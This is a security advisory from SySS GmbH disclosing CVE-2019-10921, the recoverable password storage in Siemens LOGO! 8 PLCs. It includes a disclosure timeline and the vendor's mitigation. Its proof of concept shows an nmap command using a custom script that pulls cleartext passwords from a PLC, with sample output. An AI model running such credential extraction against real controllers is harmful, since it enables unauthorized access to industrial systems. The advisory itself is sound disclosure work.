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Advisory ID: SYSS-2019-014
Product: LOGO!
Manufacturer: Siemens
Affected Version(s): LOGO! 8 (all versions)
Tested Version(s): LOGO! 8, 6ED1052-2MD00-0BA8 FS:03, 0BA8.Standard V1.08.03
Vulnerability Type: Storing Passwords in a Recoverable Format (CWE-257)
Risk Level: Medium
Solution Status: Open
Manufacturer Notification: 2019-04-04
Solution Date: 2019-05-14 (recommended mitigation by manufacturer)
Public Disclosure: 2019-05-29
CVE Reference: CVE-2019-10921
Authors of Advisory: Manuel Stotz (SySS GmbH), Matthias Deeg (SySS GmbH)

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Overview:

Siemens LOGO! is a programmable logic controller (PLC) for small
automation tasks.

The manufacturer describes the product as follows (see [1]):

"Simple installation, minimum wiring, user-friendly programming: You can
easily implement small automation projects with LOGO!, the intelligent
logic module from Siemens. The LOGO! Logic Module saves space in the
control cabinet, and lets you easily implement functions, such as
time-delay switches, time relays, counters and auxiliary relays. "

Due to storing passwords in a recoverable format on LOGO! 8 PLCs, an
attacker can gain access to configured passwords as cleartext.

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Vulnerability Details:

SySS GmbH found out that passwords are stored in a recoverable format on
LOGO! 8 PLCs.

Thus, if an attacker finds a way to retrieve this password data, for
instance exploiting the security vulnerabilities described in the SySS
security advisories SYSS-2019-012 [2] and SYSS-2019-013 [3], direct
access to cleartext passwords is given.

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Proof of Concept (PoC):

SySS GmbH could successfully extract sensitive data such as configured
passwords as cleartext from a LOGO! 8 using a developed Nmap script.

The following Nmap output exemplarily shows extracting cleartext
password data from a LOGO! 8 PLC:

$ nmap -p 10005 --script slig.nse 192.168.10.112
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-16 17:21 CEST
Nmap scan report for 192.168.10.112
Host is up (0.00044s latency).

PORT      STATE SERVICE
10005/tcp open  stel
| slig: Gathered Siemens LOGO!8 access details and passwords
| User: LSCUser
| Password: S3cret1
| Enabled: True
| User: AppUser
| Password: S3cret2
| Enabled: True
| User: WebUser
| Password: S3cret3
| Enabled: True
| User: TDUser
| Password: S3cret4
| Enabled: True
| Protection: Password
| Program password: SECRET
|_MMC serial: \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

Nmap done: 1 IP address (1 host up) scanned in 0.43 seconds

A successful attack against a LOGO! 8 extracting all configured
passwords is demonstrated in our SySS PoC video [7].

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Solution:

In the publicly released Siemens Security Advisory SSA-542701 [3],
the manufacturer Siemens recommends to apply a defense-in-depth concept,
including protection concept outlined in the system manual, as a
mitigation for reducing the risk of the described security issue.

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Disclosure Timeline:

2019-04-04: Vulnerability reported to manufacturer
2019-04-04: Manufacturer confirms receipt of security advisory and
            asks for referenced Nmap script
2019-04-04: SySS provides PoC Nmap script
2019-05-14: Public release of Siemens Security Advisory SSA-542701
2019-05-29: Public release of SySS security advisory

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References:

[1] Product website for Siemens LOGO!
    https://new.siemens.com/global/en/products/automation/systems/industrial/plc/logo.html
[2] SySS Security Advisory SYSS-2019-012
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2019-012.txt
[3] SySS Security Advisory SYSS-2019-013
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2019-013.txt
[4] SySS Security Advisory SYSS-2019-014
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2019-014.txt
[5] Siemens Security Advisory SSA-542701
    https://cert-portal.siemens.com/productcert/pdf/ssa-542701.pdf
[6] SySS Responsible Disclosure Policy
    https://www.syss.de/en/responsible-disclosure-policy/
[7] SySS Proof-of-Concept Video "Siemens LOGO! 8 PLC Password Hacking"
    https://youtu.be/TpH4EABGYCs

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Credits:

This security vulnerability was found by Manuel Stotz of SySS GmbH.

E-Mail: manuel.stotz (at) syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Manuel_Stotz.asc
Key fingerprint = F051 5B74 7E70 193E 7F66 0133 E790 F68A BCE6 8C6D

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Disclaimer:

The information provided in this security advisory is provided "as is" 
and without warranty of any kind. Details of this security advisory may 
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS Web 
site.

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Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en

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